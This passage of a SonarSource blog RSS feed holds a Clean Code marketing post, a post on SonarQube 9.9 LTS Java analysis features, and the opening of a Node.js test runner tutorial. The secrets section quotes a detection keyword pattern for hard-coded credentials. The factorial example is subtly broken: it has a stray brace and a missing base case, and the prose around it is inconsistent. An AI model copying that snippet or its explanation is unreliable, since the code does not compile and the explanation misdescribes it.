Both teachers are successful in their own right and have devoted students, but in the end (spoiler alert!), Mr. Miyagi&amp;#x27;s attentive and balanced approach ultimately wins. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Mr. Miyagi&amp;#x27;s teaching style drives success because it goes beyond simple execution, instead focusing on practical application, personalized education, and straightforward delivery. He equips students with excellent karate skills plus the values and qualities necessary for continued growth.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e8b15e1e-529f-4934-a05a-b8fce8114fe6/miyagi_site_1616424541_1637682755.webp&quot; /&gt;&lt;h2&gt;But why does Mr. Miyagi matter to Clean Code? &lt;/h2&gt;&lt;p&gt;When your goal is to be an expert at your craft - in this case, software development - it&amp;#x27;s essential to consider who you look to for guidance. Do you prefer to learn with advice that helps refine and deepen your coding skills, or do you choose intimidation and force? If you could find and fix issues while also learning along the way to achieve increased coding precision and excellence, wouldn&amp;#x27;t you want to try it? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Mr. Miyagi stands for helping his students internalize his lessons to become better. The same can be said for your approach to writing Clean Code. So how can we apply Mr. Miyagi&amp;#x27;s genius to Clean Code to help developers succeed? It&amp;#x27;s all about how we embed and deliver education in the development process. Let&amp;#x27;s first consider Mr. Miyagi&amp;#x27;s key principles: &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Character Development: Mr. Miyagi goes beyond teaching karate moves to explain &amp;quot;the why&amp;quot; behind karate so that his students apply their skills responsibly and ethically.&lt;/li&gt;&lt;li&gt;Individualized Instruction: Mr. Miyagi tailors his approach to give students the attention and guidance they need to reach their full potential.&lt;/li&gt;&lt;li&gt;Practical Application: Mr. Miyagi emphasizes techniques that are efficient, effective, and rooted in real-world scenarios so students develop skills that can be applied in practical situations, promoting self-confidence.&lt;/li&gt;&lt;li&gt;Nurturing and Supportive Environment: Mr. Miyagi fosters positive relationships built on trust and motivation.&lt;/li&gt;&lt;li&gt;Long-Term Focus: Mr. Miyagi strives for a deeper understanding and appreciation of karate as a means of personal growth rather than a mere tool for victory.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Ultimately, Mr. Miyagi equips students with the skills to defend themselves and the values and qualities necessary for success in life. We can apply these same principles to education in the development cycle.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Wax on, wax off with education from Sonar&lt;/h2&gt;&lt;p&gt;Just like it&amp;#x27;s not enough to practice karate for Mr. Miyagi&amp;#x27;s teaching style, it&amp;#x27;s not enough for Sonar to find and fix issues when guiding developers to practice Clean Code. Developers should be able to find, choose to understand, and fix issues to write Clean Code optimally. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Developers want to grow and build their skills so that they can take on bigger and bigger challenges. However, the realities of security issues, bugs, and deadlines are all competing for that valuable personal growth time. Like Mr. Miyagi, we want to help you tackle your challenges while allowing you to embrace education. We apply Mr. Miyagi&amp;#x27;s principles to the way that we deliver education in &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Character Development: When an issue occurs, developers can use our &lt;strong&gt;&amp;quot;Why is this an issue?&amp;quot;&lt;/strong&gt; functionality to understand what caused the issue and internalize the guidance quickly.&lt;/li&gt;&lt;li&gt;Individualized Instruction: Sonar&amp;#x27;s education is specific and contextualized based on the issue to help developers reach their full potential.&lt;/li&gt;&lt;li&gt;Practical Application: Sonar&amp;#x27;s education appears when an issue is flagged, and our &lt;strong&gt;&amp;quot;How to fix it&amp;quot;&lt;/strong&gt; functionality provides code samples that suit your coding framework for real-world scenarios.&lt;/li&gt;&lt;li&gt;Nurturing and Supportive Environment: Sonar integrates into your workflow and provides the information you need at the right place and time with well-structured rule descriptions.&lt;/li&gt;&lt;li&gt;Long-Term Focus: Sonar shows valuable information related to the current issue in a rule&amp;#x27;s &lt;strong&gt;&amp;#x27;More info&amp;#x27;&lt;/strong&gt; section. It&amp;#x27;s easy to access without getting in the way of fixing the issue quickly.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At Sonar, our goal is to be your Clean Code mentor. We aim to be friendly yet straightforward and trustworthy when helping you understand why your issues occur. We want to help you learn and grow while writing high-quality code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We&amp;#x27;re taking a note from Mr. Miyagi&amp;#x27;s playbook when we say writing Clean Code means more than just brute force and execution. Clean Code is achieved through the skills and strength of the developers writing it. When you can confidently understand issues as you fix them, you grow as an individual contributor and a team member and, as a result, increase your delivery. As delivery improves, your software becomes more valuable. Sonar can help you on your path to becoming a better developer, starting today, while you achieve the best results possible in the process.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/db98a515-84ad-43c6-9d4e-c035bb742048/giphy.gif&quot; /&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/level-up-coding-skills/&quot;&gt;Level up your team&amp;#x27;s skills as they code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/interview-with-a-sonarsource-developer/&quot;&gt;Interview with a SonarSource Developer&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Why SonarQube 9.9 LTS is a must-have for Java developers]]></title><description><![CDATA[Explore the game-changing features of SonarQube 9.9 LTS, empowering Java developers to write Clean Code with enhanced speed and precision.]]></description><link>https://www.sonarsource.com/blog/sonarqube-99-lts-java-developers</link><guid isPermaLink="false">147ef4ed-b2f3-50a6-a0c2-5a2ac122de63</guid><dc:creator><![CDATA[Colin Mueller]]></dc:creator><pubDate>Thu, 01 Jun 2023 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The imperative for Clean Code in today&amp;#x27;s software development world cannot be overstated. SonarQube comes to the rescue, helping developers write Clean Code that is both fit for production and fit for development.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;From day one, SonarQube has been known for its powerful Java analysis which today includes over 600 rules for Java developers (we’re Java developers ourselves).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;Let&amp;#x27;s delve into why &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/lts/9-9-lts/&quot;&gt;SonarQube 9.9 LTS&lt;/a&gt; is a must-have upgrade in your coding arsenal, enhancing the Java analysis already available in SonarQube 8.9 LTS.&lt;/p&gt;&lt;h2&gt;Updates to the analysis engine&lt;/h2&gt;&lt;h3&gt;Speedier code analysis&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In SonarQube 8.9 LTS, Java files were processed one at a time. SonarQube 9.9 LTS enables &lt;strong&gt;batch mode,&lt;/strong&gt; processing files in bulk and making analysis &lt;strong&gt;30% faster&lt;/strong&gt; in our tests. The improvement was as high as &lt;strong&gt;47%&lt;/strong&gt; when analyzing &lt;a href=&quot;https://github.com/SonarSource/sonar-java&quot;&gt;SonarSource/sonar-java&lt;/a&gt; itself. The performance improvements were measured to be the greatest on projects with a lot of dependencies or on a slow filesystem like NFS.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This performance improvement is further enhanced for commercial SonarQube users through the introduction of incremental analysis for pull requests. This feature focuses on analyzing only the changes introduced in a pull request instead of the entire codebase. You can learn more about this in the &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/lts/9-9-lts/&quot;&gt;SonarQube 9.9 LTS announcement.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All of these speed boosts will ensure that you spend less time waiting and more time coding.&lt;/p&gt;&lt;h3&gt;Support for Java 16 - 19&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A new SonarQube LTS means support for new language versions, which means we’ve updated parsing to understand any new syntax and to update rules for how they apply to the new language elements.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Keeping up with the evolving Java ecosystem, SonarQube 9.9 now extends its support to new constructs introduced in Java 16, 17, 18, and 19. This ensures you can harness the latest features and enhancements in Java, like record classes or pattern matching, while maintaining high code standards.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While SonarQube does support the latest Java preview features, this support is still experimental. Users may face parsing errors or rule inconsistencies with these features. However, SonarQube is in principle compatible with the latest versions of Java.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We appreciate your understanding and patience as we work towards enhancing our support for these evolving features.&lt;/p&gt;&lt;h3&gt;Best effort analysis when semantics are incomplete&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Analyzing Java code with the &lt;a href=&quot;https://docs.sonarqube.org/latest/analyzing-source-code/scanners/sonarscanner-for-maven/&quot;&gt;SonarScanner for Maven&lt;/a&gt; or &lt;a href=&quot;https://docs.sonarqube.org/latest/analyzing-source-code/scanners/sonarscanner-for-gradle/&quot;&gt;SonarScanner for Gradle&lt;/a&gt; is highly recommended for accurate analysis results, as those scanners infer the necessary analysis configuration from the build environment. While it is possible to configure the analysis manually after a build, it’s painful and easy to get it wrong.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sometimes (despite all our warnings!), users choose to analyze their code with the vanilla &lt;a href=&quot;https://docs.sonarqube.org/latest/analyzing-source-code/scanners/sonarscanner/&quot;&gt;SonarScanner&lt;/a&gt;. When misconfigured, it can lead to false-postives and false-negatives in the analysis results.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While not perfect, SonarQube 9.9 LTS offers more accurate results than SonarQube 8.9 LTS in the case of missing semantic information.&lt;/p&gt;&lt;h3&gt;Consistent handling of nullability annotations&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Dealing with nullability in Java is not an easy task, so SonarQube offers help with many rules about the correct use of nullability annotations, and several rules use them in determining whether to raise an issue or not.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But it&amp;#x27;s a complex topic, even - maybe especially - on the analysis side. Part of the complexity comes from the fact that there are many annotations available, from many different sources, each with slightly different approaches to controlling and documenting nullability. Some rules implemented in SonarQube 8.9 LTS suffered from this complexity and ended up inconsistently supporting the different ways these annotations should be used.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To give an idea of the complexity of this topic, sometimes code elements are:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Non-null (never null)&lt;/li&gt;&lt;li&gt;Weakly Nullable (can be null or not depending on the context, which a developer can usually predict)&lt;/li&gt;&lt;li&gt;Nullable (everything that could be null at one point)&lt;/li&gt;&lt;li&gt;Strongly Nullable (must be checked for null)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The nullability of elements can be determined by reading annotations made directly on the element itself, at the method level, at the class level, or even at the package level. These levels determine the priority, along with an order of precedence. Annotations can be annotated with meta-annotations…to say it’s complicated is an understatement.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We improved nine rules and our symbolic execution engine in their precision (and documentation) to reflect the nuanced world of nullability in Java. &lt;a href=&quot;https://community.sonarsource.com/t/the-java-analyzer-is-more-accurate-on-java-nullability/54016&quot;&gt;Find the list of rules here.&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;New taint analysis configuration raises more true-positives&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Understanding how data flows through an application is crucial to identifying potential security vulnerabilities. For instance, if user input is used in constructing a database query, it&amp;#x27;s critical to ensure that the input is properly sanitized to prevent SQL injection attacks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It’s one thing to track data through the code you have written yourself (and that SonarQube is analyzing), but it’s entirely another thing to track data as it flows through the Java libraries developers are using in your project.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 LTS extends its support to the top 100 most commonly used Java libraries, enabling it to detect potential vulnerabilities due to specific software dependencies. The addition of support for libraries like Apache HttpClient, Spring Boot Starter Web, Apache Log4j Core, H2 Database Engine, MySQL Connector/J, HttpClient, Xerces2 J, MongoDB Driver, Dom4j, and Retrofit provides a more comprehensive analysis of your code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Support for Android APIs were also added, meaning that SonarQube can detect injection-based vulnerabilities specific to Android applications written in Java!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These rules are available in commercial editions of SonarQube.&lt;/p&gt;&lt;h3&gt;Fixing false-positives&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A few years ago SonarQube began to use the &lt;a href=&quot;https://mvnrepository.com/artifact/org.eclipse.jdt/ecj&quot;&gt;Eclipse Compiler for Java&lt;/a&gt; (ECJ) to generate the Abstract Syntax Tree and semantic information required to perform analysis. The ECJ also produces compiler warnings, and we realized that in some cases these compiler warnings raise fewer false-positives and false-negatives than our own rule implementations. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 LTS now integrates ECJ Compiler Warnings to act as the logic behind some well-known rules, offering greater precision.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Consider the import of this statically imported `OK` constant that was reported as a false-positive in our community:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;package test;

import static io.netty.handler.codec.http.HttpResponseStatus.OK; // False-positive

class MyHttpEndpoint {
    Object handleRequest(Object request) {
        // ... some request handling code
        return respond(OK); // The OK constant is used here
    }

    private Object respond(Object status) {
        return status;
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-1128&quot;&gt;S1128: Unnecessary Imports should be removed &lt;/a&gt;was raised on this code in SonarQube 8.9 LTS. This issue is no longer raised in SonarQube 9.9 LTS, owing to the greater precision offered by the &lt;code&gt;UnusedImport&lt;/code&gt; compiler warning.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These other rules were also migrated to ECJ compiler warnings:&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-1905&quot;&gt;S1905: Redundant casts should not be used&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-4970&quot;&gt;S4970: Derived exceptions should not hide their parents&amp;#x27; catch blocks&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-1656&quot;&gt;S1656: Variables should not be self-assigned&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Not counting all the increased precision introduced incidentally by other updates to our analysis engine, there were also &lt;strong&gt;over 100&lt;/strong&gt; specific false-postives and false-negatives that were addressed in SonarQube 9.9 LTS!&lt;/p&gt;&lt;h2&gt;New Rules&lt;/h2&gt;&lt;h3&gt;Secure your Android applications with confidence&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the realm of mobile application development, security is paramount. This is especially true for popular platforms like Android, which are targeted by a wide range of potential threats.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 LTS steps up to this challenge by introducing specific rules designed to ensure secure configurations for Android applications. These rules target potential security pitfalls, helping you to write safer and more reliable mobile applications. &lt;a href=&quot;https://community.sonarsource.com/t/the-java-kotlin-xml-analyzers-detect-misconfiguration-security-issues-on-android-applications/52011?u=colin&quot;&gt;See the list of rules here&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Improve your AWS applications with Clean Code&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Cloud computing has become the backbone of modern IT infrastructures, and AWS is one of the leading platforms in this space. With the increasing complexity of cloud applications, maintaining clean and efficient code is vital.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 LTS introduces specific rules that promote cleaner code for AWS applications. By pointing out code smells and potential issues in your AWS codebase, SonarQube enables you to keep your cloud applications as streamlined and efficient as possible. &lt;a href=&quot;https://community.sonarsource.com/t/7-new-rules-to-help-java-developers-write-clean-cloud-applications-on-aws/67688?u=colin&quot;&gt;See the list of rules here&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Find more cases of insecure XML processing&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;XML processing is a common activity in Java development, but it often opens a pandora&amp;#x27;s box of potential security issues. One such vulnerability involves insecure XML processing, which can leave your application exposed to threats such as XML External Entity (XXE) Injection.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 8.9 LTS already detects ​​some forms of insecure XML processing, including XML external entity (XXE) injection. SonarQube 9.9 LTS takes this further by adding four additional rules to detect insecure XML processing from other vectors. &lt;a href=&quot;https://community.sonarsource.com/t/the-java-analyzer-detects-more-insecure-xml-processing-not-just-xxe/57665&quot;&gt;See the list of rules here.&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Detect secrets with little configuration and fewer false-positives&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Hard-coding credentials directly into your source code is tantamount to walking on thin ice. It is as precarious as it sounds; one slip or accidental check into source control, and your credentials may as well be considered compromised.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 8.9 LTS made an attempt to address this by offering a security hotspot rule that performed a basic check for fields that could potentially contain a password. It did this based on a set of predetermined field names (&lt;code&gt;password,passwd,pwd,passphrase&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, users wishing to probe for &amp;quot;secret&amp;quot; values, such as API tokens, found themselves needing to further modify this rule. Unfortunately, this often led to a considerable number of false positives. After all, the term &amp;#x27;token&amp;#x27; has several meanings in the software development world!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is where SonarQube 9.9 LTS leaps into the fray with a separate, more refined rule (&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-6418&quot;&gt;S6418: Hard-coded secrets are security-sensitive&lt;/a&gt;). This new rule comes preconfigured with an extended pattern (&lt;code&gt;secret,token,credential,auth,api[_.-]?key&lt;/code&gt;) for secret detection, reducing the legwork for developers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Additionally, it incorporates a configurable heuristic to discern whether the field value is a credential or not. This is based on the randomness of the value, meaning that an issue won’t be raised for the following code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private static final String token = &quot;newToken&quot;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On the other hand, it will flag an issue in cases like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private static final String token = &quot;47828a8dd77ee1eb9dde2d5e93cb221ce8c32b37&quot;;&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Unearth advanced Java bugs with symbolic execution&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 LTS now has the ability advanced Java bugs using a new symbolic execution engine.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Symbolic execution engines are an invaluable tool in the arsenal of software development, designed to traverse all feasible execution paths, even across method calls. The objective? To discover elusive bugs nestled within your source code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Symbolic execution has been a part of SonarQube’s Java analysis for years, and we made a significant effort to build a new, more powerful engine building upon the work we’ve done in security analysis.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Consider, for instance, the following code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class Main {

    public static void main(String[] args) {
        int number = 5;
        long factorial = calculateFactorial(number);
        System.out.println(&quot;Factorial of &quot; + number + &quot; is &quot; + factorial);
    }

    public static long calculateFactorial(int n) {
            return n * calculateFactorial(n - 1);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this program, &lt;code&gt;calculateFactorial&lt;/code&gt; is a recursive function. For other values of &lt;code&gt;n&lt;/code&gt;, it multiplies &lt;code&gt;n&lt;/code&gt; by the factorial of &lt;code&gt;n-1&lt;/code&gt;. This is the recursive step, where the function calls itself with a smaller value.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Without a case for &lt;code&gt;n=0&lt;/code&gt;, the program will run forever.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Previously, issues in such cases might have slipped through unnoticed. However, SonarQube 9.9 LTS&amp;#x27;s enhanced bug detection capability flags the recursion so that developers can fix it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Five rules using this new engine are available in commercial editions of SonarQube. &lt;a href=&quot;https://community.sonarsource.com/t/sonarcloud-detects-more-critical-bugs-in-your-java-code/63159?u=colin&quot;&gt;See the list of rules here.&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Just an upgrade away from it all&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube is made by developers, for developers. Our goal is to help all developers be able to write Clean Code. The enhancements in SonarQube 9.9 LTS reflect our ongoing commitment to providing you with an analytical tool that tackles this goal head-on.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you haven’t tried SonarQube 9.9 LTS yet, I hope you now have even more reasons to prepare this upgrade with your team. Like all SonarQube releases, this is a free version upgrade, and you can get the LTS in just a few clicks at &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/&quot;&gt;SonarQube Downloads&lt;/a&gt;. You won&amp;#x27;t just be upgrading your SonarQube instance – you&amp;#x27;ll be upgrading your entire coding experience.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Need more help getting started? Check the following resources:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-lts-upgrade-checklist/&quot;&gt;SonarQube LTS Upgrade Checklist&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Get help upgrading using the &lt;a href=&quot;https://community.sonarsource.com/c/sq/9-9-lts-upgrade/47&quot;&gt;9.9 LTS Upgrade category of the Sonar Community&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Remember, these improvements aren&amp;#x27;t just limited to SonarQube. If you&amp;#x27;re using SonarCloud, you&amp;#x27;ll find all these enhancements there too.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Hands on with the Node.js test runner]]></title><description><![CDATA[Node.js released an experimental test runner in version 18 and made that test runner stable in version 20. What does that mean for us as JavaScript developers?]]></description><link>https://www.sonarsource.com/blog/node-js-test-runner</link><guid isPermaLink="false">adc8f7f9-0623-5bad-a652-666228a91e07</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Tue, 30 May 2023 08:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Node.js released an &lt;a href=&quot;https://nodejs.org/en/blog/announcements/v18-release-announce#test-runner-module-experimental&quot;&gt;experimental test runner in version 18&lt;/a&gt; and made that &lt;a href=&quot;https://nodejs.org/en/blog/announcements/v20-release-announce#stable-test-runner&quot;&gt;test runner stable in version 20&lt;/a&gt;. What does that mean for us as JavaScript developers?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;First we should ask why there should be a built-in test runner. The intent behind the Node.js test runner is to provide a limited set of testing functionality that can be used to test projects without requiring a third-party dependency. It will also provide a base set of primitives that testing frameworks can use to standardise upon.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Until now, all test runners in Node.js were built as third-party packages, like &lt;a href=&quot;https://mochajs.org/&quot;&gt;Mocha&lt;/a&gt;, &lt;a href=&quot;https://jasmine.github.io/&quot;&gt;Jasmine&lt;/a&gt;, or &lt;a href=&quot;https://jestjs.io/&quot;&gt;Jest&lt;/a&gt;. This means that to write and run tests in your project you must start by choosing to add a dependency. Dependencies take maintenance and can add complexity to your configuration both locally and in your CI/CD pipelines. Other languages, like Ruby, Go, and Python, have their own built-in test runner. Both &lt;a href=&quot;https://deno.com/manual@v1.33.1/basics/testing&quot;&gt;Deno&lt;/a&gt; and &lt;a href=&quot;https://bun.sh/docs/test/writing&quot;&gt;Bun&lt;/a&gt; ship a test runner too. So it seems natural to provide a dependency-free, built-in runner.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, &lt;a href=&quot;https://jestjs.io/&quot;&gt;Jest&lt;/a&gt;, the most popular JavaScript test framework, sets up the test environment in such a way that it &lt;a href=&quot;https://backend.cafe/should-you-use-jest-as-a-testing-library&quot;&gt;breaks the instanceof operator&lt;/a&gt;. Working with a test runner that is built into the platform should be a bit more predictable than that.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s have a look at how it works by test driving a piece of code. We won&amp;#x27;t write anything complicated, it is just to illustrate how the test runner works. I recommend using the latest version of Node.js, which is 20.2.0 as I write this.&lt;/p&gt;&lt;h2&gt;Writing tests with the Node.js test runner&lt;/h2&gt;&lt;p&gt;To see this in action we&amp;#x27;ll write unit tests for and implement a straightforward data structure, a stack. Start by creating a directory to write the project in and two files, &lt;code&gt;stack.mjs&lt;/code&gt; and &lt;code&gt;stack.test.mjs&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;mkdir stack

cd stack

touch stack.mjs stack.test.mjs&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Immediately you can run the test command:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;node --test&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And you will see a result. Since there is no code, the test file runs successfully and is counted as a pass. This is really powerful already. All we&amp;#x27;ve done is create two files and the test runner has detected that one is a test file and run it. We&amp;#x27;ve not had to install any dependencies, there isn&amp;#x27;t even a &lt;code&gt;package.json&lt;/code&gt; file.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This works because of the &lt;a href=&quot;https://nodejs.org/api/test.html#test-runner-execution-model&quot;&gt;test runner execution model&lt;/a&gt;. When you run &lt;code&gt;node --test&lt;/code&gt; the runner looks for files that could be tests. By default this includes all JavaScript files, that is files with a suffix of &lt;code&gt;.js&lt;/code&gt;, &lt;code&gt;.cjs&lt;/code&gt;, &lt;code&gt;.mjs&lt;/code&gt;,  that match any of the following patterns:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;files inside a directory called &lt;code&gt;test&lt;/code&gt;&lt;/li&gt;&lt;li&gt;files called &lt;code&gt;test.js&lt;/code&gt;, &lt;code&gt;test.cjs&lt;/code&gt;, or &lt;code&gt;test.mjs&lt;/code&gt;&lt;/li&gt;&lt;li&gt;files that start with &lt;code&gt;test-&lt;/code&gt;&lt;/li&gt;&lt;li&gt;files that end with &lt;code&gt;.test&lt;/code&gt;, &lt;code&gt;-test&lt;/code&gt;, or &lt;code&gt;_test&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;You can also explicitly pass a list of files and directories to the &lt;code&gt;node --test&lt;/code&gt; command. So, we could have called &lt;code&gt;stack.test.mjs&lt;/code&gt; a variety of things, like &lt;code&gt;test.js&lt;/code&gt;, &lt;code&gt;test-stack.js&lt;/code&gt;, &lt;code&gt;stack-test.js&lt;/code&gt;, or &lt;code&gt;stack_test.js&lt;/code&gt;. It all depends on your preference.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Each file that the test runner discovers is then executed in a separate child process. If the process exits with a code of 0 then the test is considered to pass. That&amp;#x27;s why our empty file 